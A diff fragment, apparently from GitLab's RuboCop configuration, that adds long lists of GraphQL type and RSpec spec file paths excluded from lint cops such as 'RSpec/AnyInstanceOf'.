+ - 'ee/app/graphql/types/requirements_management/test_report_type.rb'
+ - 'ee/app/graphql/types/scanned_resource_type.rb'
+ - 'ee/app/graphql/types/security_report_summary_section_type.rb'
+ - 'ee/app/graphql/types/time_report_stats_type.rb'
+ - 'ee/app/graphql/types/timebox_metrics_type.rb'
+ - 'ee/app/graphql/types/timebox_report_interface.rb'
+ - 'ee/app/graphql/types/timebox_report_type.rb'
+ - 'ee/app/graphql/types/timelog_type.rb'
+ - 'ee/app/graphql/types/vulnerabilities_count_by_day_and_severity_type.rb'
+ - 'ee/app/graphql/types/vulnerabilities_count_by_day_type.rb'
+ - 'ee/app/graphql/types/vulnerability/external_issue_link_type.rb'
+ - 'ee/app/graphql/types/vulnerability/issue_link_type.rb'
+ - 'ee/app/graphql/types/vulnerability_identifier_type.rb'
+ - 'ee/app/graphql/types/vulnerability_location/container_scanning_type.rb'
+ - 'ee/app/graphql/types/vulnerability_location/coverage_fuzzing_type.rb'
+ - 'ee/app/graphql/types/vulnerability_location/dast_type.rb'
+ - 'ee/app/graphql/types/vulnerability_location/dependency_scanning_type.rb'
+ - 'ee/app/graphql/types/vulnerability_location/sast_type.rb'
+ - 'ee/app/graphql/types/vulnerability_location/secret_detection_type.rb'
+ - 'ee/app/graphql/types/vulnerability_scanner_type.rb'
+ - 'ee/app/graphql/types/vulnerability_type.rb'
+ - 'ee/app/graphql/types/vulnerable_dependency_type.rb'
+ - 'ee/app/graphql/types/vulnerable_package_type.rb'
+ - 'ee/app/graphql/types/vulnerable_projects_by_grade_type.rb'
+
+# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/34997
+RSpec/AnyInstanceOf:
+ Exclude:
+ - 'ee/spec/controllers/admin/geo/nodes_controller_spec.rb'
+ - 'ee/spec/controllers/ee/groups_controller_spec.rb'
+ - 'ee/spec/controllers/groups/analytics/productivity_analytics_controller_spec.rb'
+ - 'ee/spec/controllers/groups/epics/notes_controller_spec.rb'
+ - 'ee/spec/controllers/groups/omniauth_callbacks_controller_spec.rb'
+ - 'ee/spec/controllers/oauth/geo_auth_controller_spec.rb'
+ - 'ee/spec/controllers/projects/environments_controller_spec.rb'
+ - 'ee/spec/controllers/projects/integrations/jira/issues_controller_spec.rb'
+ - 'ee/spec/controllers/projects/merge_requests_controller_spec.rb'
+ - 'ee/spec/controllers/projects/path_locks_controller_spec.rb'
+ - 'ee/spec/controllers/projects_controller_spec.rb'
+ - 'ee/spec/controllers/subscriptions_controller_spec.rb'
+ - 'ee/spec/controllers/trials_controller_spec.rb'
+ - 'ee/spec/features/admin/admin_audit_logs_spec.rb'
+ - 'ee/spec/features/admin/admin_reset_pipeline_minutes_spec.rb'
+ - 'ee/spec/features/admin/admin_users_spec.rb'
+ - 'ee/spec/features/admin/licenses/admin_views_license_spec.rb'
+ - 'ee/spec/features/boards/scoped_issue_board_spec.rb'
+ - 'ee/spec/features/ci_shared_runner_warnings_spec.rb'
+ - 'ee/spec/features/groups/group_settings_spec.rb'
+ - 'ee/spec/features/groups/navbar_spec.rb'
+ - 'ee/spec/features/groups/saml_providers_spec.rb'
+ - 'ee/spec/features/issues/form_spec.rb'
+ - 'ee/spec/features/merge_request/user_creates_merge_request_spec.rb'
+ - 'ee/spec/features/projects/new_project_spec.rb'
+ - 'ee/spec/features/projects/services/user_activates_jira_spec.rb'
+ - 'ee/spec/features/registrations/welcome_spec.rb'
+ - 'ee/spec/features/security/project/internal_access_spec.rb'
+ - 'ee/spec/features/security/project/private_access_spec.rb'
+ - 'ee/spec/features/security/project/public_access_spec.rb'
+ - 'ee/spec/features/trials/capture_lead_spec.rb'
+ - 'ee/spec/features/trials/select_namespace_spec.rb'
+ - 'ee/spec/features/users/login_spec.rb'
+ - 'ee/spec/graphql/mutations/dast_on_demand_scans/create_spec.rb'
+ - 'ee/spec/graphql/mutations/incident_management/oncall_schedule/create_spec.rb'
+ - 'ee/spec/graphql/mutations/incident_management/oncall_schedule/destroy_spec.rb'
+ - 'ee/spec/graphql/mutations/incident_management/oncall_schedule/update_spec.rb'
+ - 'ee/spec/helpers/application_helper_spec.rb'
+ - 'ee/spec/lib/ee/api/helpers_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/auth/ldap/sync/group_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/checks/push_rule_check_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/checks/push_rules/commit_check_spec.rb'
+ - 'ee/spec/lib/gitlab/auth/group_saml/membership_enforcer_spec.rb'
+ - 'ee/spec/lib/gitlab/auth/ldap/access_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/Jobs/browser_performance_testing_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/Jobs/dast_default_branch_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/Jobs/load_performance_testing_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/Verify/browser_performance_testing_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/Verify/load_performance_testing_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/api_fuzzing_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/container_scanning_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/coverage_fuzzing_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/dast_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/dependency_scanning_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/license_scanning_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/sast_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/elastic/project_search_results_spec.rb'
+ - 'ee/spec/lib/gitlab/expiring_subscription_message_spec.rb'
+ - 'ee/spec/lib/gitlab/geo/log_cursor/daemon_spec.rb'
+ - 'ee/spec/lib/gitlab/legacy_github_import/project_creator_spec.rb'
+ - 'ee/spec/lib/omni_auth/strategies/group_saml_spec.rb'
+ - 'ee/spec/lib/security/ci_configuration/sast_build_actions_spec.rb'
+ - 'ee/spec/lib/system_check/geo/geo_database_configured_check_spec.rb'
+ - 'ee/spec/migrations/schedule_populate_resolved_on_default_branch_column_spec.rb'
+ - 'ee/spec/migrations/update_location_fingerprint_column_for_cs_spec.rb'
+ - 'ee/spec/migrations/update_occurrence_severity_column_spec.rb'
+ - 'ee/spec/migrations/update_undefined_confidence_from_occurrences_spec.rb'
+ - 'ee/spec/migrations/update_undefined_confidence_from_vulnerabilities_spec.rb'
+ - 'ee/spec/migrations/update_vulnerability_severity_column_spec.rb'
+ - 'ee/spec/models/ee/namespace_spec.rb'
+ - 'ee/spec/models/geo_node_status_spec.rb'
+ - 'ee/spec/models/group_spec.rb'
+ - 'ee/spec/models/issue_spec.rb'
+ - 'ee/spec/models/merge_request_spec.rb'
+ - 'ee/spec/models/project_import_state_spec.rb'
+ - 'ee/spec/models/push_rule_spec.rb'
+ - 'ee/spec/presenters/ci/pipeline_presenter_spec.rb'
+ - 'ee/spec/presenters/projects/security/configuration_presenter_spec.rb'
+ - 'ee/spec/requests/api/geo_nodes_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/dast_on_demand_scans/create_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/dast_site_profiles/delete_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/pipelines/run_dast_scan_spec.rb'
+ - 'ee/spec/requests/api/issues_spec.rb'
+ - 'ee/spec/requests/api/projects_spec.rb'
+ - 'ee/spec/requests/git_http_spec.rb'
+ - 'ee/spec/requests/groups_controller_spec.rb'
+ - 'ee/spec/requests/omniauth_kerberos_spnego_spec.rb'
+ - 'ee/spec/requests/repositories/git_http_controller_spec.rb'
+ - 'ee/spec/services/alert_management/network_alert_service_spec.rb'
+ - 'ee/spec/services/ci/expire_pipeline_cache_service_spec.rb'
+ - 'ee/spec/services/ci/run_dast_scan_service_spec.rb'
+ - 'ee/spec/services/ee/git/branch_push_service_spec.rb'
+ - 'ee/spec/services/ee/merge_requests/create_from_vulnerability_data_service_spec.rb'
+ - 'ee/spec/services/ee/merge_requests/refresh_service_spec.rb'
+ - 'ee/spec/services/ee/security/ingress_modsecurity_usage_service_spec.rb'
+ - 'ee/spec/services/ee/users/create_service_spec.rb'
+ - 'ee/spec/services/ee/users/destroy_service_spec.rb'
+ - 'ee/spec/services/geo/container_repository_sync_service_spec.rb'
+ - 'ee/spec/services/geo/design_repository_sync_service_spec.rb'
+ - 'ee/spec/services/geo/framework_repository_sync_service_spec.rb'
+ - 'ee/spec/services/geo/hashed_storage_migration_service_spec.rb'
+ - 'ee/spec/services/geo/metrics_update_service_spec.rb'
+ - 'ee/spec/services/geo/move_repository_service_spec.rb'
+ - 'ee/spec/services/geo/project_housekeeping_service_spec.rb'
+ - 'ee/spec/services/geo/rename_repository_service_spec.rb'
+ - 'ee/spec/services/geo/repository_destroy_service_spec.rb'
+ - 'ee/spec/services/geo/repository_sync_service_spec.rb'
+ - 'ee/spec/services/geo/wiki_sync_service_spec.rb'
+ - 'ee/spec/services/groups/destroy_service_spec.rb'
+ - 'ee/spec/services/groups/update_service_spec.rb'
+ - 'ee/spec/services/merge_trains/check_status_service_spec.rb'
+ - 'ee/spec/services/network_policies/resources_service_spec.rb'
+ - 'ee/spec/services/projects/destroy_service_spec.rb'
+ - 'ee/spec/services/projects/group_links/destroy_service_spec.rb'
+ - 'ee/spec/services/projects/update_service_spec.rb'
+ - 'ee/spec/services/slash_commands/global_slack_handler_spec.rb'
+ - 'ee/spec/support/helpers/ee/stub_configuration.rb'
+ - 'ee/spec/support/shared_examples/controllers/analytics/cycle_analytics/shared_stage_shared_examples.rb'
+ - 'ee/spec/support/shared_examples/features/gold_trial_callout_shared_examples.rb'
+ - 'ee/spec/support/shared_examples/lib/gitlab/geo/geo_logs_event_source_info_shared_examples.rb'
+ - 'ee/spec/support/shared_examples/models/member_shared_examples.rb'
+ - 'ee/spec/support/shared_examples/services/base_sync_service_shared_examples.rb'
+ - 'ee/spec/support/shared_examples/services/geo/geo_request_service_shared_examples.rb'
+ - 'ee/spec/workers/build_finished_worker_spec.rb'
+ - 'ee/spec/workers/concerns/elastic/indexing_control_spec.rb'
+ - 'ee/spec/workers/elastic_commit_indexer_worker_spec.rb'
+ - 'ee/spec/workers/geo/design_repository_shard_sync_worker_spec.rb'
+ - 'ee/spec/workers/geo/file_download_dispatch_worker_spec.rb'
+ - 'ee/spec/workers/geo/registry_sync_worker_spec.rb'
+ - 'ee/spec/workers/geo/repository_cleanup_worker_spec.rb'
+ - 'ee/spec/workers/geo/repository_shard_sync_worker_spec.rb'
+ - 'ee/spec/workers/project_cache_worker_spec.rb'
+ - 'ee/spec/workers/repository_import_worker_spec.rb'
+ - 'ee/spec/workers/vulnerability_exports/export_deletion_worker_spec.rb'
+ - 'qa/spec/runtime/release_spec.rb'
+ - 'spec/controllers/admin/sessions_controller_spec.rb'
+ - 'spec/controllers/application_controller_spec.rb'
+ - 'spec/controllers/concerns/issuable_actions_spec.rb'
+ - 'spec/controllers/concerns/static_object_external_storage_spec.rb'
+ - 'spec/controllers/explore/projects_controller_spec.rb'
+ - 'spec/controllers/groups/clusters_controller_spec.rb'
+ - 'spec/controllers/groups/settings/ci_cd_controller_spec.rb'
+ - 'spec/controllers/groups_controller_spec.rb'
+ - 'spec/controllers/import/bitbucket_controller_spec.rb'
+ - 'spec/controllers/oauth/jira/authorizations_controller_spec.rb'
+ - 'spec/controllers/omniauth_callbacks_controller_spec.rb'
+ - 'spec/controllers/projects/artifacts_controller_spec.rb'
+ - 'spec/controllers/projects/branches_controller_spec.rb'
+ - 'spec/controllers/projects/clusters_controller_spec.rb'
+ - 'spec/controllers/projects/commit_controller_spec.rb'
+ - 'spec/controllers/projects/commits_controller_spec.rb'
+ - 'spec/controllers/projects/environments_controller_spec.rb'
+ - 'spec/controllers/projects/imports_controller_spec.rb'
+ - 'spec/controllers/projects/issues_controller_spec.rb'
+ - 'spec/controllers/projects/jobs_controller_spec.rb'
+ - 'spec/controllers/projects/labels_controller_spec.rb'
+ - 'spec/controllers/projects/merge_requests_controller_spec.rb'
+ - 'spec/controllers/projects/pipelines_controller_spec.rb'
+ - 'spec/controllers/projects/service_hook_logs_controller_spec.rb'
+ - 'spec/controllers/projects/services_controller_spec.rb'
+ - 'spec/controllers/projects/tags_controller_spec.rb'
+ - 'spec/controllers/registrations/experience_levels_controller_spec.rb'
+ - 'spec/controllers/registrations_controller_spec.rb'
+ - 'spec/controllers/sessions_controller_spec.rb'
+ - 'spec/controllers/snippets/notes_controller_spec.rb'
+ - 'spec/controllers/snippets_controller_spec.rb'
+ - 'spec/features/admin/admin_mode/login_spec.rb'
+ - 'spec/features/groups/clusters/eks_spec.rb'
+ - 'spec/features/groups/members/tabs_spec.rb'
+ - 'spec/features/ide/static_object_external_storage_csp_spec.rb'
+ - 'spec/features/issuables/issuable_list_spec.rb'
+ - 'spec/features/issues/form_spec.rb'
+ - 'spec/features/merge_request/user_creates_image_diff_notes_spec.rb'
+ - 'spec/features/merge_request/user_reviews_image_spec.rb'
+ - 'spec/features/merge_request/user_sees_diff_spec.rb'
+ - 'spec/features/merge_request/user_sees_merge_widget_spec.rb'
+ - 'spec/features/profiles/personal_access_tokens_spec.rb'
+ - 'spec/features/projects/clusters/gcp_spec.rb'
+ - 'spec/features/projects/clusters_spec.rb'
+ - 'spec/features/projects/container_registry_spec.rb'
+ - 'spec/features/projects/files/user_browses_lfs_files_spec.rb'
+ - 'spec/features/projects/jobs_spec.rb'
+ - 'spec/features/projects/navbar_spec.rb'
+ - 'spec/features/projects/pages_spec.rb'
+ - 'spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb'
+ - 'spec/features/projects/settings/service_desk_setting_spec.rb'
+ - 'spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb'
+ - 'spec/features/snippets/embedded_snippet_spec.rb'
+ - 'spec/features/usage_stats_consent_spec.rb'
+ - 'spec/finders/prometheus_metrics_finder_spec.rb'
+ - 'spec/graphql/mutations/alert_management/create_alert_issue_spec.rb'
+ - 'spec/graphql/mutations/alert_management/http_integration/create_spec.rb'
+ - 'spec/graphql/mutations/alert_management/http_integration/destroy_spec.rb'
+ - 'spec/graphql/mutations/alert_management/http_integration/reset_token_spec.rb'
+ - 'spec/graphql/mutations/alert_management/http_integration/update_spec.rb'
+ - 'spec/graphql/mutations/alert_management/prometheus_integration/create_spec.rb'
+ - 'spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb'
+ - 'spec/graphql/mutations/alert_management/prometheus_integration/update_spec.rb'
+ - 'spec/helpers/analytics/unique_visits_helper_spec.rb'
+ - 'spec/helpers/projects_helper_spec.rb'
+ - 'spec/initializers/lograge_spec.rb'
+ - 'spec/lib/api/entities/merge_request_basic_spec.rb'
+ - 'spec/lib/api/entities/merge_request_changes_spec.rb'
+ - 'spec/lib/api/helpers_spec.rb'
+ - 'spec/lib/backup/files_spec.rb'
+ - 'spec/lib/backup/manager_spec.rb'
+ - 'spec/lib/banzai/commit_renderer_spec.rb'
+ - 'spec/lib/banzai/filter/external_issue_reference_filter_spec.rb'
+ - 'spec/lib/banzai/filter/issue_reference_filter_spec.rb'
+ - 'spec/lib/banzai/filter/repository_link_filter_spec.rb'
+ - 'spec/lib/banzai/pipeline/gfm_pipeline_spec.rb'
+ - 'spec/lib/extracts_ref_spec.rb'
+ - 'spec/lib/feature_spec.rb'
+ - 'spec/lib/gitlab/app_logger_spec.rb'
+ - 'spec/lib/gitlab/asciidoc_spec.rb'
+ - 'spec/lib/gitlab/auth/auth_finders_spec.rb'
+ - 'spec/lib/gitlab/auth/blocked_user_tracker_spec.rb'
+ - 'spec/lib/gitlab/auth/request_authenticator_spec.rb'
+ - 'spec/lib/gitlab/auth_spec.rb'
+ - 'spec/lib/gitlab/background_migration/populate_personal_snippet_statistics_spec.rb'
+ - 'spec/lib/gitlab/background_migration/populate_project_snippet_statistics_spec.rb'
+ - 'spec/lib/gitlab/checks/diff_check_spec.rb'
+ - 'spec/lib/gitlab/checks/lfs_check_spec.rb'
+ - 'spec/lib/gitlab/checks/lfs_integrity_spec.rb'
+ - 'spec/lib/gitlab/ci/config/external/file/base_spec.rb'
+ - 'spec/lib/gitlab/ci/config/external/file/local_spec.rb'
+ - 'spec/lib/gitlab/ci/config/external/processor_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/chain/build_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/chain/command_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/AWS/deploy_ecs_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Jobs/build_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Jobs/code_quality_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Jobs/deploy_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Jobs/test_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Terraform/base_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/Verify/load_performance_testing_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/auto_devops_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/npm_spec.rb'
+ - 'spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb'
+ - 'spec/lib/gitlab/ci/trace_spec.rb'
+ - 'spec/lib/gitlab/current_settings_spec.rb'
+ - 'spec/lib/gitlab/cycle_analytics/base_event_fetcher_spec.rb'
+ - 'spec/lib/gitlab/database/multi_threaded_migration_spec.rb'
+ - 'spec/lib/gitlab/diff/highlight_cache_spec.rb'
+ - 'spec/lib/gitlab/diff/highlight_spec.rb'
+ - 'spec/lib/gitlab/diff/position_spec.rb'
+ - 'spec/lib/gitlab/email/handler/create_issue_handler_spec.rb'
+ - 'spec/lib/gitlab/email/handler/create_note_handler_spec.rb'
+ - 'spec/lib/gitlab/etag_caching/middleware_spec.rb'
+ - 'spec/lib/gitlab/exclusive_lease_helpers_spec.rb'
+ - 'spec/lib/gitlab/fogbugz_import/importer_spec.rb'
+ - 'spec/lib/gitlab/gfm/reference_rewriter_spec.rb'
+ - 'spec/lib/gitlab/git/repository_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/blob_service_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/commit_service_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/conflicts_service_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/health_check_service_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/operation_service_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/praefect_info_service_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/ref_service_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/remote_service_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/repository_service_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/wiki_service_spec.rb'
+ - 'spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb'
+ - 'spec/lib/gitlab/gpg/invalid_gpg_signature_updater_spec.rb'
+ - 'spec/lib/gitlab/hashed_storage/migrator_spec.rb'
+ - 'spec/lib/gitlab/import/merge_request_helpers_spec.rb'
+ - 'spec/lib/gitlab/import_export/config_spec.rb'
+ - 'spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb'
+ - 'spec/lib/gitlab/import_export/importer_spec.rb'
+ - 'spec/lib/gitlab/import_export/lfs_restorer_spec.rb'
+ - 'spec/lib/gitlab/import_export/project/tree_restorer_spec.rb'
+ - 'spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb'
+ - 'spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb'
+ - 'spec/lib/gitlab/import_export/version_checker_spec.rb'
+ - 'spec/lib/gitlab/job_waiter_spec.rb'
+ - 'spec/lib/gitlab/legacy_github_import/importer_spec.rb'
+ - 'spec/lib/gitlab/legacy_github_import/project_creator_spec.rb'
+ - 'spec/lib/gitlab/metrics/exporter/base_exporter_spec.rb'
+ - 'spec/lib/gitlab/metrics/rack_middleware_spec.rb'
+ - 'spec/lib/gitlab/metrics/subscribers/active_record_spec.rb'
+ - 'spec/lib/gitlab/metrics_spec.rb'
+ - 'spec/lib/gitlab/patch/action_dispatch_journey_formatter_spec.rb'
+ - 'spec/lib/gitlab/sidekiq_daemon/monitor_spec.rb'
+ - 'spec/lib/gitlab/sidekiq_middleware_spec.rb'
+ - 'spec/lib/gitlab/tracking/destinations/product_analytics_spec.rb'
+ - 'spec/lib/gitlab/tracking/destinations/snowplow_spec.rb'
+ - 'spec/lib/gitlab/tracking_spec.rb'
+ - 'spec/lib/gitlab/usage_data_spec.rb'
+ - 'spec/lib/gitlab/workhorse_spec.rb'
+ - 'spec/lib/gitlab/x509/commit_spec.rb'
+ - 'spec/lib/gitlab/x509/signature_spec.rb'
+ - 'spec/lib/google_api/cloud_platform/client_spec.rb'
+ - 'spec/lib/json_web_token/rsa_token_spec.rb'
+ - 'spec/lib/mattermost/command_spec.rb'
+ - 'spec/lib/mattermost/team_spec.rb'
+ - 'spec/lib/system_check/simple_executor_spec.rb'
+ - 'spec/models/ci/build_spec.rb'
+ - 'spec/models/ci/runner_spec.rb'
+ - 'spec/models/commit_spec.rb'
+ - 'spec/models/environment_spec.rb'
+ - 'spec/models/group_spec.rb'
+ - 'spec/models/hooks/service_hook_spec.rb'
+ - 'spec/models/hooks/system_hook_spec.rb'
+ - 'spec/models/hooks/web_hook_spec.rb'
+ - 'spec/models/issue_spec.rb'
+ - 'spec/models/key_spec.rb'
+ - 'spec/models/member_spec.rb'
+ - 'spec/models/merge_request_diff_spec.rb'
+ - 'spec/models/merge_request_spec.rb'
+ - 'spec/models/note_spec.rb'
+ - 'spec/models/project_import_state_spec.rb'
+ - 'spec/models/project_services/jira_service_spec.rb'
+ - 'spec/models/project_services/mattermost_slash_commands_service_spec.rb'
+ - 'spec/models/project_spec.rb'
+ - 'spec/models/repository_spec.rb'
+ - 'spec/models/user_spec.rb'
+ - 'spec/models/x509_certificate_spec.rb'
+ - 'spec/policies/ci/build_policy_spec.rb'
+ - 'spec/policies/ci/pipeline_policy_spec.rb'
+ - 'spec/presenters/gitlab/blame_presenter_spec.rb'
+ - 'spec/presenters/merge_request_presenter_spec.rb'
+ - 'spec/requests/api/api_spec.rb'
+ - 'spec/requests/api/ci/runner/jobs_artifacts_spec.rb'
+ - 'spec/requests/api/ci/runner/jobs_put_spec.rb'
+ - 'spec/requests/api/ci/runner/jobs_request_post_spec.rb'
+ - 'spec/requests/api/ci/runner/jobs_trace_spec.rb'
+ - 'spec/requests/api/ci/runner/runners_delete_spec.rb'
+ - 'spec/requests/api/ci/runner/runners_post_spec.rb'
+ - 'spec/requests/api/ci/runner/runners_verify_post_spec.rb'
+ - 'spec/requests/api/graphql/gitlab_schema_spec.rb'
+ - 'spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb'
+ - 'spec/requests/api/graphql/project/error_tracking/sentry_errors_request_spec.rb'
+ - 'spec/requests/api/graphql_spec.rb'
+ - 'spec/requests/api/helpers_spec.rb'
+ - 'spec/requests/api/internal/base_spec.rb'
+ - 'spec/requests/api/maven_packages_spec.rb'
+ - 'spec/requests/api/merge_requests_spec.rb'
+ - 'spec/requests/api/pages/pages_spec.rb'
+ - 'spec/requests/api/project_export_spec.rb'
+ - 'spec/requests/api/project_import_spec.rb'
+ - 'spec/requests/api/projects_spec.rb'
+ - 'spec/requests/api/snippets_spec.rb'
+ - 'spec/requests/api/todos_spec.rb'
+ - 'spec/requests/git_http_spec.rb'
+ - 'spec/requests/import/gitlab_projects_controller_spec.rb'
+ - 'spec/routing/routing_spec.rb'
+ - 'spec/serializers/analytics_stage_serializer_spec.rb'
+ - 'spec/serializers/merge_request_poll_cached_widget_entity_spec.rb'
+ - 'spec/serializers/merge_request_poll_widget_entity_spec.rb'
+ - 'spec/services/application_settings/update_service_spec.rb'
+ - 'spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb'
+ - 'spec/services/boards/lists/update_service_spec.rb'
+ - 'spec/services/ci/create_pipeline_service_spec.rb'
+ - 'spec/services/ci/destroy_expired_job_artifacts_service_spec.rb'
+ - 'spec/services/ci/expire_pipeline_cache_service_spec.rb'
+ - 'spec/services/ci/list_config_variables_service_spec.rb'
+ - 'spec/services/ci/register_job_service_spec.rb'
+ - 'spec/services/ci/resource_groups/assign_resource_from_resource_group_service_spec.rb'
+ - 'spec/services/ci/retry_build_service_spec.rb'
+ - 'spec/services/ci/retry_pipeline_service_spec.rb'
+ - 'spec/services/ci/stop_environments_service_spec.rb'
+ - 'spec/services/clusters/applications/create_service_spec.rb'
+ - 'spec/services/clusters/cleanup/project_namespace_service_spec.rb'
+ - 'spec/services/clusters/cleanup/service_account_service_spec.rb'
+ - 'spec/services/deployments/older_deployments_drop_service_spec.rb'
+ - 'spec/services/deployments/update_environment_service_spec.rb'
+ - 'spec/services/draft_notes/destroy_service_spec.rb'
+ - 'spec/services/events/render_service_spec.rb'
+ - 'spec/services/git/branch_push_service_spec.rb'
+ - 'spec/services/git/process_ref_changes_service_spec.rb'
+ - 'spec/services/groups/create_service_spec.rb'
+ - 'spec/services/groups/update_service_spec.rb'
+ - 'spec/services/integrations/test/project_service_spec.rb'
+ - 'spec/services/issuable/destroy_service_spec.rb'
+ - 'spec/services/issues/close_service_spec.rb'
+ - 'spec/services/issues/reopen_service_spec.rb'
+ - 'spec/services/members/destroy_service_spec.rb'
+ - 'spec/services/merge_requests/add_todo_when_build_fails_service_spec.rb'
+ - 'spec/services/merge_requests/build_service_spec.rb'
+ - 'spec/services/merge_requests/merge_service_spec.rb'
+ - 'spec/services/merge_requests/mergeability_check_service_spec.rb'
+ - 'spec/services/merge_requests/refresh_service_spec.rb'
+ - 'spec/services/merge_requests/reload_diffs_service_spec.rb'
+ - 'spec/services/merge_requests/resolved_discussion_notification_service_spec.rb'
+ - 'spec/services/metrics/dashboard/custom_dashboard_service_spec.rb'
+ - 'spec/services/metrics/dashboard/transient_embed_service_spec.rb'
+ - 'spec/services/notes/create_service_spec.rb'
+ - 'spec/services/notes/render_service_spec.rb'
+ - 'spec/services/packages/conan/create_package_file_service_spec.rb'
+ - 'spec/services/packages/nuget/metadata_extraction_service_spec.rb'
+ - 'spec/services/packages/nuget/update_package_from_metadata_service_spec.rb'
+ - 'spec/services/pages/delete_services_spec.rb'
+ - 'spec/services/pod_logs/elasticsearch_service_spec.rb'
+ - 'spec/services/pod_logs/kubernetes_service_spec.rb'
+ - 'spec/services/post_receive_service_spec.rb'
+ - 'spec/services/projects/after_rename_service_spec.rb'
+ - 'spec/services/projects/container_repository/cleanup_tags_service_spec.rb'
+ - 'spec/services/projects/container_repository/delete_tags_service_spec.rb'
+ - 'spec/services/projects/container_repository/gitlab/delete_tags_service_spec.rb'
+ - 'spec/services/projects/container_repository/third_party/delete_tags_service_spec.rb'
+ - 'spec/services/projects/destroy_service_spec.rb'
+ - 'spec/services/projects/fork_service_spec.rb'
+ - 'spec/services/projects/import_service_spec.rb'
+ - 'spec/services/projects/lfs_pointers/lfs_download_service_spec.rb'
+ - 'spec/services/projects/lfs_pointers/lfs_object_download_list_service_spec.rb'
+ - 'spec/services/projects/prometheus/alerts/notify_service_spec.rb'
+ - 'spec/services/projects/transfer_service_spec.rb'
+ - 'spec/services/projects/update_remote_mirror_service_spec.rb'
+ - 'spec/services/projects/update_service_spec.rb'
+ - 'spec/services/projects/update_statistics_service_spec.rb'
+ - 'spec/services/resource_events/change_labels_service_spec.rb'
+ - 'spec/services/search_service_spec.rb'
+ - 'spec/services/snippets/create_service_spec.rb'
+ - 'spec/services/test_hooks/project_service_spec.rb'
+ - 'spec/services/test_hooks/system_service_spec.rb'
+ - 'spec/services/todo_service_spec.rb'
+ - 'spec/services/users/destroy_service_spec.rb'
+ - 'spec/services/users/migrate_to_ghost_user_service_spec.rb'
+ - 'spec/spec_helper.rb'
+ - 'spec/support/capybara.rb'
+ - 'spec/support/helpers/api_helpers.rb'
+ - 'spec/support/helpers/graphql_helpers.rb'
+ - 'spec/support/helpers/ldap_helpers.rb'
+ - 'spec/support/helpers/login_helpers.rb'
+ - 'spec/support/helpers/metrics_dashboard_url_helpers.rb'
+ - 'spec/support/helpers/rake_helpers.rb'
+ - 'spec/support/helpers/stub_configuration.rb'
+ - 'spec/support/helpers/stub_gitlab_calls.rb'
+ - 'spec/support/helpers/test_env.rb'
+ - 'spec/support/import_export/common_util.rb'
+ - 'spec/support/services/migrate_to_ghost_user_service_shared_examples.rb'
+ - 'spec/support/shared_contexts/email_shared_context.rb'
+ - 'spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb'
+ - 'spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb'
+ - 'spec/support/shared_examples/controllers/issuable_notes_filter_shared_examples.rb'
+ - 'spec/support/shared_examples/controllers/issuables_requiring_filter_shared_examples.rb'
+ - 'spec/support/shared_examples/controllers/repository_lfs_file_load_shared_examples.rb'
+ - 'spec/support/shared_examples/controllers/set_sort_order_from_user_preference_shared_examples.rb'
+ - 'spec/support/shared_examples/controllers/unique_visits_shared_examples.rb'
+ - 'spec/support/shared_examples/controllers/update_invalid_issuable_shared_examples.rb'
